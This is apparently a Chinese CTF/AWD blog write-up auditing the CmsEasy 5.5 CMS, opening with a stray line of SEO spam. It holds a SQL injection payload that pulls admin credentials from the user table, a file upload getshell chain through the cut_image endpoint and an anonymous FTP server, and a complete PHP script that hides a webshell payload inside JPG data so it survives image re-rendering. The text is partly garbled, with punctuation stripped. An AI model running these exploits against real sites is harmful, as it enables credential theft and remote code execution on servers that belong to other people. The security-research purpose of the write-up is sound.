江苏靖江苏源建设有限公司招标网站,网站推广书,广东网站建设公司968,广州高端网站建设前言
这个awd打的悲#xff0c;后台默认用户名密码为admin:admin#xff0c;但是几乎所有人都改了
而且一进去看到这个cms就有点懵逼#xff0c;都不知道这个cms是干嘛的#xff08;没用过相似的cms#xff09;
虽然网上找出了很多相关的漏洞#xff0c;但是不知道为什…前言
这个awd打的悲后台默认用户名密码为admin:admin但是几乎所有人都改了
而且一进去看到这个cms就有点懵逼都不知道这个cms是干嘛的没用过相似的cms
虽然网上找出了很多相关的漏洞但是不知道为什么一个都没用上或者说是用不了
所以现在来审计一下这个cms
根据里面的注释我得出是 v5.5 的版本虽然不知道有没有经过bugku的魔改 不过上面说的版权倒是给我整不会了有没有专业人士说说我这个研究算不算破解反正网上挺多的 而且bugku也对其进行过修改awd的时候index.php加了个后门
路由分析
我进入后台admin的时候会自动跳转到 index.php?caseadminactloginadmin_diradminsitedefault 据我的经验这里用的是参数作为路由
caseadmin # 指定类
actlogin # 指定类方法
admin_diradmin
sitedefault一切都是由 lib\tool\front_class.php 中的 front 作为引导 index.php
进入该类找到dispatch函数 method_exists 是 PHP 中的一个内置函数用于检查一个类是否包含某个指定的方法成员函数。
也就是说 $case 指定类 $method 指定该类的方法 case: admin_act
method: login_action而这两个值都由请求参数 case 和 act 决定 但是这个类的路径在何处呢我们继续追踪
在 method_exists 的上面case已经被new过了当new的时候找不到类时就触发了 __autoload 方法 最后类的路径是 lib/admin/admin_act.php 为什么会找到这个地方的类 set_include_path 可以设置文件包含时的路径这里设置了 /lib/admin 而该方法在 front 的初始化函数就被执行过了
被设置的路径在index.php 中也被设置过
set_include_path(ROOT./lib/default.PATH_SEPARATOR.ROOT./lib/plugins.PATH_SEPARATOR.ROOT./lib/tool.PATH_SEPARATOR.ROOT./lib/table.PATH_SEPARATOR.ROOT./lib/inc);也就是参数路由的执行函数都在 lib 文件夹中找
后台登录分析
既然知道了路由规则那么现在看看是否能通过注入到达后端
首先通过审计代码我们知道一共有三处过滤第一个是new front的时候 __construct中的过滤
index.php
lib\tool\front_class.php 这里直接对所有GET参数的username过滤了单双引号导致最后的sql语句无法被闭合现在我还是没想到怎么绕过这里
第一个也是 front中 __construct中的过滤 这里先判断php是否会自动转义引号这里我有必要解释一下 get_magic_quotes_gpc 是一个 PHP 函数它在旧版本的 PHPPHP 5.4 之前中可用。它用于检查 PHP 配置中是否启用了魔术引号Magic Quotes功能。魔术引号是 PHP 中引入的一个功能用于自动转义传入数据中的字符例如来自表单提交或外部来源的数据以帮助防止 SQL 注入和其他安全漏洞。 如果启用了魔术引号get_magic_quotes_gpc() 返回 1 或 truePHP 会自动在 $_GET、$_POST、$_COOKIE 和 $_REQUEST 数组中的传入数据添加转义斜杠\。这种转义是为了使数据在 SQL 查询中使用时更安全。 如果禁用了魔术引号get_magic_quotes_gpc() 返回 0 或 falsePHP 不会自动添加转义斜杠 然而魔术引号存在许多问题本函数已自 PHP 7.4.0 起弃用自 PHP 8.0.0 起移除
回到正题从上面的代码看出上面的代码对所有请求的参数都进行了引号转义导致注入困难
第三处过滤 在该路由中获取数据处,根据前面的规则找打该路由 lib\admin\admin_act.php
$user$user-getrow(array(usernamefront::post(username),passwordmd5(front::post(password))));这里传递的是一个有键值的字典
一直跟进 lib\inc\table.php key进行了html实体的转义 对key和value都进行了关键字过滤
从这三处过滤我觉得过滤字符串我还是没啥头绪急需指点
celive sql注入
我在一篇文章中找到了sql注入的点 https://vulners.com/seebug/SSV:94004
但是我在里面并没有注入成功所以我研究起了代码
文章给出的exp是这样的
链接
http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/header.php
POST
xajaxLiveMessagexajaxargs[0][name]1,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid2 limit 1))a from information_schema.tables group by a)b),,,,1,127.0.0.1,2)#文章说没有过滤但是我在调试时发现引号被 addslashes 过滤 体现在 celive\include\common.inc.php 中 文章第一个漏洞处体现在 celive\include\xajax.inc.php
文件上传漏洞
分析
这是在一篇文章看到的 https://www.cnblogs.com/yx20145312/p/7020516.html
起初按照他的做法确实可以上传文件而且后缀也是php 但是… 最终也是执行失败了而且根本找不到图片中我设定的 马
最后通过我仔细的源码审计我发现… 这里作者将分割符 都打成两个不一样的字符复制上去能用才有鬼
而且参数是根据自己的远程图片的信息来定的而就是说这些参数都是变量都是根据图片自身来设定不能完全照抄
所以我们重新来审计一下全过程 漏洞点在 index.php?casetoolactcut_image
而根据路由规则 这个文件在 tool_act.php 中tool_act 类的 cut_image_action 方法 此漏洞利用需要布置一个ftp服务器并且需要可以匿名登录在匿名用户的目录放置一个图片马 在window搭建你可以参考这篇文章 https://www.cnblogs.com/yx20145312/p/7020516.html 也可以在网上寻找答案 先说一个这个api是干嘛的这样才能更好理解漏洞的成因
通过代码的分析发现其是一个裁剪图片的功能, 至于作者设计时是不是开放远程还是只针对本地图片我们就不得而知了
POST : index.php?casetoolactcut_imagepictest.png
w2 # 输出图像的宽
h2 # 输出图像的高
x10 # 输入图像的 x 轴
y10 # 输入图像的 y 轴
x2700 # 输入图像的另一个 x 轴
y21120 # 输入图像的另一个 y 轴简单来说, x1,y1,x2,y2 决定了源图像的大小和位置,而 pic 是我们输入的图片 这里给出一次请求
源图片是这样的
而裁剪后是这样的
也就是说
w100
h100
x10
y10
x2300
y2300将一个300 * 300 的图像x1,y2x2,y3指定,放入了100 * 100 的盒子里(w,h指定)结果就是等比例缩小了
那么现在看源码 如果base_url设置空默认设置为空,那么len变量值就为 1 下面会判断 pic 参数是否为http如果不是就去掉开头为len长度的变量 比如 len如果为3 pic123ftp://127.0.0.1 最后就会变成 picftp://127.0.0.1
此时我们的len为1那么只需要在前面填上一个垃圾数据即可 pic1ftp://127.0.0.1 $thumb-set(front::$post[thumb],jpg);这里获取文件的一些信息 $img$thumb-create_image($thumb-im,$_POST[w],$_POST[h],0,0,$_POST[x1],$_POST[y1],$_POST[x2] -$_POST[x1],$_POST[y2] -$_POST[y1]);这里对图像继续裁剪返回一个裁剪后的图像 这里最终调用的函数其实是这个你跟进也是能看到的我的是排版了的
file_put_contents(ROOT./.$save_file,ob_get_contents());这里对输出裁剪后的图像进行保存
困惑
原本我以为到这已经结束了没想到真正的后头戏现在才开始 我发现上传上去的图片马都被二次渲染了原本的一句话早已经不见了踪影 原本的想法是先上传一张然后对比裁剪后的看哪里相同结果发现根本没用…
直觉告诉我问题就出在 ImageCopyResampled函数上 于是上网找到了方法 突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG
但是… 这个脚本告诉我他失败了 于是 我再次遨游于网络的海洋 功夫不负有心人上文章 CmsEasy前台无限制GetShell【Getshell的补充说明】 博客上说传递图片的时候不能带路径也就是说必须于脚本同一个目录才能生效
这里说下如何使用脚本 脚本
?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformationscaused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processedimage.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:php jpg_payload.php jpg_name.jpgIn case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs Somethings wrong.If this happens, try to change the payload (e.g. add some symbols at the beginning) or try anotherinitial image.Sergey Bobrov Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload ?php phpinfo();?; # 这里写入一句话if(!extension_loaded(gd) || !function_exists(imagecreatefromjpeg)) {die(php-gd is not installed);}print_r($argv);// exit;if(!isset($argv[1])) {die(php jpg_payload.php jpg_name.jpg);}set_error_handler(custom_error_handler);for($pad 0; $pad 1024; $pad) {$nullbytePayloadSize $pad;$dis new DataInputStream($argv[1]);$outStream file_get_contents($argv[1]);$extraBytes 0;$correctImage TRUE;if($dis-readShort() ! 0xFFD8) {die(Incorrect SOI marker);}while((!$dis-eof()) ($dis-readByte() 0xFF)) {$marker $dis-readByte();$size $dis-readShort() - 2;$dis-skip($size);if($marker 0xDA) {$startPos $dis-seek();$outStreamTmp substr($outStream, 0, $startPos) .$miniPayload .str_repeat(\0,$nullbytePayloadSize) .substr($outStream, $startPos);checkImage(_.$argv[1], $outStreamTmp, TRUE);if($extraBytes ! 0) {while((!$dis-eof())) {if($dis-readByte() 0xFF) {if($dis-readByte ! 0x00) {break;}}}$stopPos $dis-seek() - 2;$imageStreamSize $stopPos - $startPos;$outStream substr($outStream, 0, $startPos) .$miniPayload .substr(str_repeat(\0,$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize$imageStreamSize-$extraBytes) .substr($outStream, $stopPos);} elseif($correctImage) {$outStream $outStreamTmp;} else {break;}if(checkImage(payload_.$argv[1], $outStream)) {die(Success!);} else {break;}}}}unlink(payload_.$argv[1]);die(Something\s wrong);function checkImage($filename, $data, $unlink FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage FALSE;if(preg_match(/(\d) extraneous bytes before marker/, $errstr, $m)) {if(isset($m[1])) {$extraBytes (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order false, $fromString false) {$this-binData ;$this-order $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die(File not exists [.$filename.]);$this-binData file_get_contents($filename);} else {$this-binData $filename;}$this-size strlen($this-binData);}public function seek() {return ($this-size - strlen($this-binData));}public function skip($skip) {$this-binData substr($this-binData, $skip);}public function readByte() {if($this-eof()) {die(End Of File);}$byte substr($this-binData, 0, 1);$this-binData substr($this-binData, 1);return ord($byte);}public function readShort() {if(strlen($this-binData) 2) {die(End Of File);}$short substr($this-binData, 0, 2);$this-binData substr($this-binData, 2);if($this-order) {$short (ord($short[1]) 8) ord($short[0]);} else {$short (ord($short[0]) 8) ord($short[1]);}return $short;}public function eof() {return !$this-binData||(strlen($this-binData) 0);}}
?需要先上传图片 (需要jpg图片这里我改了后缀其实改不改都可以最后要给脚本传递jpg的图片) 然后把上传上去的图片下载下来作为脚本的参数
然后将图片放在与脚本同一目录下
php payload.php 1694764156416.jpg然后会在目录下生成一张图片马 在把这个图片马上传上去 我的其他参数没动 访问下图片马 别的不说NB
exp
这里总结一下大概步骤 先准备一张 jpg 类型的图片然后上传到cmseasy然后下载下来那张上传后的图片此时这张图片不是原来那张了而是经过了二次渲染 将图片给脚本执行需要与脚本同一目录payload执行的语句可以在脚本中修改 将脚本生成的图片再上传上去访问执行